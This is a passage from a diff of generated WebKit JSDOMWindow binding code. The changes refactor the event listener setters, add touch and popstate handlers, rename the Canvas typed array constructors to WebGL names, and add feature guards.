+    imp->setOnoffline(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnonline(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4180,8 +5503,7 @@ void setJSDOMWindowOnonline(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnonline(globalObject->createJSAttributeEventListener(value));
+    imp->setOnonline(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnpagehide(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4190,8 +5512,7 @@ void setJSDOMWindowOnpagehide(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnpagehide(globalObject->createJSAttributeEventListener(value));
+    imp->setOnpagehide(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnpageshow(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4200,8 +5521,7 @@ void setJSDOMWindowOnpageshow(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnpageshow(globalObject->createJSAttributeEventListener(value));
+    imp->setOnpageshow(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnpause(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4210,8 +5530,7 @@ void setJSDOMWindowOnpause(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnpause(globalObject->createJSAttributeEventListener(value));
+    imp->setOnpause(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnplay(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4220,8 +5539,7 @@ void setJSDOMWindowOnplay(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnplay(globalObject->createJSAttributeEventListener(value));
+    imp->setOnplay(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnplaying(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4230,8 +5548,16 @@ void setJSDOMWindowOnplaying(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnplaying(globalObject->createJSAttributeEventListener(value));
+    imp->setOnplaying(createJSAttributeEventListener(exec, value, thisObject));
+}
+
+void setJSDOMWindowOnpopstate(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    imp->setOnpopstate(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnprogress(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4240,8 +5566,7 @@ void setJSDOMWindowOnprogress(ExecState* exec, JSObject* thisObject, JSValue val
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnprogress(globalObject->createJSAttributeEventListener(value));
+    imp->setOnprogress(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnratechange(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4250,8 +5575,7 @@ void setJSDOMWindowOnratechange(ExecState* exec, JSObject* thisObject, JSValue v
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnratechange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnratechange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnresize(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4260,8 +5584,7 @@ void setJSDOMWindowOnresize(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnresize(globalObject->createJSAttributeEventListener(value));
+    imp->setOnresize(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnscroll(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4270,8 +5593,7 @@ void setJSDOMWindowOnscroll(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnscroll(globalObject->createJSAttributeEventListener(value));
+    imp->setOnscroll(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnseeked(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4280,8 +5602,7 @@ void setJSDOMWindowOnseeked(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnseeked(globalObject->createJSAttributeEventListener(value));
+    imp->setOnseeked(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnseeking(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4290,8 +5611,7 @@ void setJSDOMWindowOnseeking(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnseeking(globalObject->createJSAttributeEventListener(value));
+    imp->setOnseeking(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnselect(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4300,8 +5620,7 @@ void setJSDOMWindowOnselect(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnselect(globalObject->createJSAttributeEventListener(value));
+    imp->setOnselect(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnstalled(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4310,8 +5629,7 @@ void setJSDOMWindowOnstalled(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnstalled(globalObject->createJSAttributeEventListener(value));
+    imp->setOnstalled(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnstorage(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4320,8 +5638,7 @@ void setJSDOMWindowOnstorage(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnstorage(globalObject->createJSAttributeEventListener(value));
+    imp->setOnstorage(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnsubmit(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4330,8 +5647,7 @@ void setJSDOMWindowOnsubmit(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnsubmit(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsubmit(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnsuspend(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4340,8 +5656,7 @@ void setJSDOMWindowOnsuspend(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnsuspend(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsuspend(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOntimeupdate(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4350,8 +5665,7 @@ void setJSDOMWindowOntimeupdate(ExecState* exec, JSObject* thisObject, JSValue v
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOntimeupdate(globalObject->createJSAttributeEventListener(value));
+    imp->setOntimeupdate(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnunload(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4360,8 +5674,7 @@ void setJSDOMWindowOnunload(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnunload(globalObject->createJSAttributeEventListener(value));
+    imp->setOnunload(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnvolumechange(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4370,8 +5683,7 @@ void setJSDOMWindowOnvolumechange(ExecState* exec, JSObject* thisObject, JSValue
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnvolumechange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnvolumechange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnwaiting(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4380,8 +5692,7 @@ void setJSDOMWindowOnwaiting(ExecState* exec, JSObject* thisObject, JSValue valu
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnwaiting(globalObject->createJSAttributeEventListener(value));
+    imp->setOnwaiting(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnreset(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4390,8 +5701,7 @@ void setJSDOMWindowOnreset(ExecState* exec, JSObject* thisObject, JSValue value)
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnreset(globalObject->createJSAttributeEventListener(value));
+    imp->setOnreset(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnsearch(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4400,8 +5710,7 @@ void setJSDOMWindowOnsearch(ExecState* exec, JSObject* thisObject, JSValue value
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnsearch(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsearch(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnwebkitanimationend(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4410,8 +5719,7 @@ void setJSDOMWindowOnwebkitanimationend(ExecState* exec, JSObject* thisObject, J
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnwebkitanimationend(globalObject->createJSAttributeEventListener(value));
+    imp->setOnwebkitanimationend(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnwebkitanimationiteration(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4420,8 +5728,7 @@ void setJSDOMWindowOnwebkitanimationiteration(ExecState* exec, JSObject* thisObj
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnwebkitanimationiteration(globalObject->createJSAttributeEventListener(value));
+    imp->setOnwebkitanimationiteration(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnwebkitanimationstart(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4430,8 +5737,7 @@ void setJSDOMWindowOnwebkitanimationstart(ExecState* exec, JSObject* thisObject,
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnwebkitanimationstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOnwebkitanimationstart(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSDOMWindowOnwebkittransitionend(ExecState* exec, JSObject* thisObject, JSValue value)
@@ -4440,9 +5746,52 @@ void setJSDOMWindowOnwebkittransitionend(ExecState* exec, JSObject* thisObject,
         return;
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = static_cast<JSDOMWindow*>(thisObject);
-    imp->setOnwebkittransitionend(globalObject->createJSAttributeEventListener(value));
+    imp->setOnwebkittransitionend(createJSAttributeEventListener(exec, value, thisObject));
+}
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDOMWindowOntouchstart(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    imp->setOntouchstart(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDOMWindowOntouchmove(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    imp->setOntouchmove(createJSAttributeEventListener(exec, value, thisObject));
 }
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDOMWindowOntouchend(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    imp->setOntouchend(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDOMWindowOntouchcancel(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(static_cast<JSDOMWindow*>(thisObject)->impl());
+    imp->setOntouchcancel(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
 
 void setJSDOMWindowStyleSheetConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
@@ -4860,6 +6209,7 @@ void setJSDOMWindowHTMLCanvasElementConstructor(ExecState* exec, JSObject* thisO
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLCanvasElement"), value);
 }
 
+#if ENABLE(DATAGRID)
 void setJSDOMWindowHTMLDataGridElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -4867,7 +6217,9 @@ void setJSDOMWindowHTMLDataGridElementConstructor(ExecState* exec, JSObject* thi
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLDataGridElement"), value);
 }
+#endif
 
+#if ENABLE(DATAGRID)
 void setJSDOMWindowHTMLDataGridCellElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -4875,7 +6227,9 @@ void setJSDOMWindowHTMLDataGridCellElementConstructor(ExecState* exec, JSObject*
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLDataGridCellElement"), value);
 }
+#endif
 
+#if ENABLE(DATAGRID)
 void setJSDOMWindowHTMLDataGridColElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -4883,6 +6237,7 @@ void setJSDOMWindowHTMLDataGridColElementConstructor(ExecState* exec, JSObject*
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLDataGridColElement"), value);
 }
+#endif
 
 void setJSDOMWindowHTMLDListElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
@@ -5292,14 +6647,24 @@ void setJSDOMWindowCanvasRenderingContext2DConstructor(ExecState* exec, JSObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasRenderingContext2D"), value);
 }
 
-void setJSDOMWindowCanvasRenderingContext3DConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+void setJSDOMWindowImageDataConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasRenderingContext3D"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "ImageData"), value);
 }
 
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLRenderingContextConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLRenderingContext"), value);
+}
+#endif
+
 void setJSDOMWindowTextMetricsConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5308,69 +6673,85 @@ void setJSDOMWindowTextMetricsConstructor(ExecState* exec, JSObject* thisObject,
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "TextMetrics"), value);
 }
 
-void setJSDOMWindowCanvasArrayBufferConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLArrayBufferConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasArrayBuffer"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLArrayBuffer"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasByteArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLByteArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasByteArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLByteArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasUnsignedByteArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLUnsignedByteArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasUnsignedByteArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLUnsignedByteArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasShortArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLShortArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasShortArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLShortArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasUnsignedShortArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLUnsignedShortArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasUnsignedShortArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLUnsignedShortArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasIntArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLIntArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasIntArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLIntArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasUnsignedIntArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLUnsignedIntArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasUnsignedIntArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLUnsignedIntArray"), value);
 }
+#endif
 
-void setJSDOMWindowCanvasFloatArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+#if ENABLE(3D_CANVAS)
+void setJSDOMWindowWebGLFloatArrayConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
         return;
     // Shadowing a built-in constructor
-    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "CanvasFloatArray"), value);
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebGLFloatArray"), value);
 }
+#endif
 
 void setJSDOMWindowEventConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
@@ -5548,6 +6929,14 @@ void setJSDOMWindowFileListConstructor(ExecState* exec, JSObject* thisObject, JS
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "FileList"), value);
 }
 
+void setJSDOMWindowBlobConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "Blob"), value);
+}
+
 void setJSDOMWindowNodeFilterConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5628,6 +7017,7 @@ void setJSDOMWindowXMLHttpRequestExceptionConstructor(ExecState* exec, JSObject*
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "XMLHttpRequestException"), value);
 }
 
+#if ENABLE(XSLT)
 void setJSDOMWindowXSLTProcessorConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5635,6 +7025,7 @@ void setJSDOMWindowXSLTProcessorConstructor(ExecState* exec, JSObject* thisObjec
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "XSLTProcessor"), value);
 }
+#endif
 
 void setJSDOMWindowMessagePortConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
@@ -5668,6 +7059,14 @@ void setJSDOMWindowSharedWorkerConstructor(ExecState* exec, JSObject* thisObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SharedWorker"), value);
 }
 
+void setJSDOMWindowWebSocketConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "WebSocket"), value);
+}
+
 void setJSDOMWindowPluginConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5732,6 +7131,7 @@ void setJSDOMWindowStorageEventConstructor(ExecState* exec, JSObject* thisObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "StorageEvent"), value);
 }
 
+#if ENABLE(VIDEO)
 void setJSDOMWindowAudioConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5739,7 +7139,9 @@ void setJSDOMWindowAudioConstructor(ExecState* exec, JSObject* thisObject, JSVal
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "Audio"), value);
 }
+#endif
 
+#if ENABLE(VIDEO)
 void setJSDOMWindowHTMLAudioElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5747,7 +7149,9 @@ void setJSDOMWindowHTMLAudioElementConstructor(ExecState* exec, JSObject* thisOb
     // Shadowing a built-in constructor
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "HTMLAudioElement"), value);
 }
+#endif
 
+#if ENABLE(VIDEO)
 void setJSDOMWindowHTMLMediaElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
